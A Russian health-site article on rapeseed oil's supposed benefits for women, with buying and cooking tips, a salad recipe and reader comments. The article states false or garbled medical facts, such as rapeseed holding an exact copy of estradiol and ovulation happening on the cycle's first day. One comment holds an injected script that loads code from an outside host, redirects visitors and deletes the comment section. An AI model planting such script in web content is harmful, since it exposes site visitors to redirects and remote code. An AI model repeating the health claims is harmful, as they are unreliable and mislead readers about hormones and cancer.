Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Рапсовое масло – лучший п...  >>  Рапсовое масло – лучший продукт для женщин
 
Обратная связь
 

Рапсовое масло – лучший продукт для женщин

Размер шрифта
23 декабря 2011 07:13
  • google_analytics: false
  • Нравится

Рапсовое масло богато растительным эквивалентом женского полового гормона и борется с раковыми клетками, провоцирующими рак груди. Как выбрать, как хранить рапсовое масло и какое блюдо им заправить?

Достоинства рапсового масла

  • Медики выделили из рапса точную копию женского полового гормона эстрадиола. В первый день менструального цикла яйцеклетка выходит из яичника. В этот момент начинает выделяться главный женский половой гормон – эстрадиол. Глаза у женщины блестят, кожа становится эластичной. Женщина готова к зачатию. Через несколько дней в организме вырабатываются второй женский половой гормон прогестерон, и если зачатие случилось, прогестерон создаст все условия, чтобы плод рос и нормально развивался.

  • В рапсовом масле содержатся Омега-3 незаменимые жирные кислоты, которые, как известно, снижают холестерин и поддерживают здоровье сердечно-сосудистой системы, подвижность суставов и работу мозга.

  • В рапсовом масле много мононенасыщенных жиров, которые снижают уровень холестерина. Следует помнить, что рапсовое масло надо потреблять вместо животных жиров, только тогда будет эффект.

  • Витамин Е в рапсовом масле укрепляет клеточные стенки, предотвращая проникновение микробов в клетки.

  • Рапсовое масло предотвращает рост раковых клеток. Некоторые ученые считают, что это происходит благодаря более высокому соотношению Омега-3 и Омега-6 жирных кислот. Так в 2008 году в городе Сан-Франциско опрос населения выявил, что у женщин, которые готовят на оливковом и рапсовом масле риск заболеть раком груди ниже, чем у женщин, которые готовят на растительном масле или гидрогенизированных жирах.

Пьедестал почета по содержанию мононенасыщенных жиров, полезных для сердца
1. Оливковое масло. 1 ст.л. - 10 г мононенасыщенных жиров.
2. Рапсовое масло. 1 ст.л. - 8,2 г мононенасыщенных жиров.
3. Подсолнечное масло. 1 ст.л. - 2,7 г мононенасыщенных жиров.

Недостатки

В рапсовом масле есть эруковая кислота. Она очень опасна тем, что может вызывать проблемы с половым развитием у детей. Но есть и хорошая новость: рапсовое масло выведено из специальных сортов рапса с низким содержанием эруковой кислоты.

Как выбрать

  1. Проверьте рапсовое масло на содержание эруковой кислоты. Безопасным считается 0,3-0,6%.

  2. Масло должно быть желтого оттенка с приятным запахом.

  3. Осадок свидетельствует об окислении. Такой продукт отдает горечью.

  4. Масло не должно иметь надпись «гидрогенизировано» на этикетке.

Как хранить

Вдали от солнечных лучей, в темном и прохладном месте. Иначе продукт быстро окислится и станет мутным.

Как готовить

На рапсовом масле жарить не рекомендуется. При высокой температуре (от 160-170) в нем образуются токсичные соединения с канцерогенным действием. Если над поверхностью масла появился дымок, то это значит, что в нем начинается образование опасных соединений.

Избегайте вдыхания таких паров и дымов, поскольку это увеличивает риск заболевания раком легких.

Рецепт салата с рапсовым маслом:

Морковь – 500 г
Чернослив – 100 г
Курага – 100 г
Масло рапсовое – 50 г
Лимон, семена укропа или тмина, соль – по вкусу

1. Морковь вымыть, потереть на мелкой терке.
2. Чернослив и курагу вымыть, залить кипятком. Вынуть из воды, когда остынет.
3. Мелко нарезать, смешать с морковью, залить маслом, лимонным соком и семенами укропа. Посолить.

Видеосюжеты по теме:

Рапсовое масло. Что выжимают из рапса




 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

26 декабря 2012 в 07:25

Цитировать   |   Пожаловаться

Дорогая госпожа Малышева! чьи интересы Вы представляете? Как Вам не стыдно, вед давно уже известно что рапсовое масло очень токсично.

2 - Гость

17 января 2013 в 23:39

Цитировать   |   Пожаловаться

Спасибо за информацию! неделю назад из Польши привезла рапсовое масло, и не знала, как его можно использовать. На западе такое масло продается в магазинах, оно изготовляется из нетоксичного рапса, поэтому не ядовито.

Гость 26 декабря 2012 в 07:25
известно что рапсовое масло очень токсично
 Наверное, стоит еще раз посмотреть статью: 
  1. Проверьте рапсовое масло на содержание эруковой кислоты. Безопасным считается 0,3-0,6%.

  2. Масло должно быть желтого оттенка с приятным запахом.

  3. Осадок свидетельствует об окислении. Такой продукт отдает горечью.

  4. Масло не должно иметь надпись «гидрогенизировано» на этикетке.

    На рапсовом масле жарить не рекомендуется. При высокой температуре (от 160-170) в нем образуются токсичные соединения с канцерогенным действием. Если над поверхностью масла появился дымок, то это значит, что в нем начинается образование опасных соединений.

    Избегайте вдыхания таких паров и дымов

    Тем не менее, полезных свойств масла тоже никто не отменял. но если Вы опасаетесь не соблюсти все меры безопасности, то просто не используйте этот продут, есть другие. 

4 - Гость

15 июня 2015 в 19:32

Цитировать   |   Пожаловаться

Гость 26 декабря 2012 в 07:25
Как Вам не стыдно, вед давно уже известно что рапсовое масло очень токсично
 Вот ведь гады живут в Штатах, Азии и в Гейроппе! Что бы отравить токсичным рапсовым маслом нас, славных россиян,делают вид что оно полезно и вкусно, и даже (О Боже мой!) жрут его сами! Вот на что только  не пойдут враги, чтобы нас уничтожить!!! 

5 - zzzzzz

01 июля 2015 в 00:02

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Тампон против менструальной чаши. Что лучше?   Сигналы SOS вашего организма   Тампон может сказать, есть у вас рак или нет!   Вы живете с неудачником? 6 причин, почему вы не можете уйти от него  
24 апреля 2013Более миллиона беременных женщин заражены сифилисом! Вы можете быть среди них! 25 февраля 2013Теперь при приеме на работу вы должны будете плюнуть
 
17 октября 2012Гормон оргазма поможет прочесть мысли 22 февраля 2012Омега-3 уменьшают риск заболеваний сердца у детей
 

Слайдшоу

1
Женщины 40+: все ответы на ваши вопросы!
Как избавиться от ужасных месячных?
Секреты сексуально удовлетворенных женщин

Тесты

Как подобрать контрацептивы?
Есть ли у вас гормональные нарушения
Как облегчить менопаузу?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.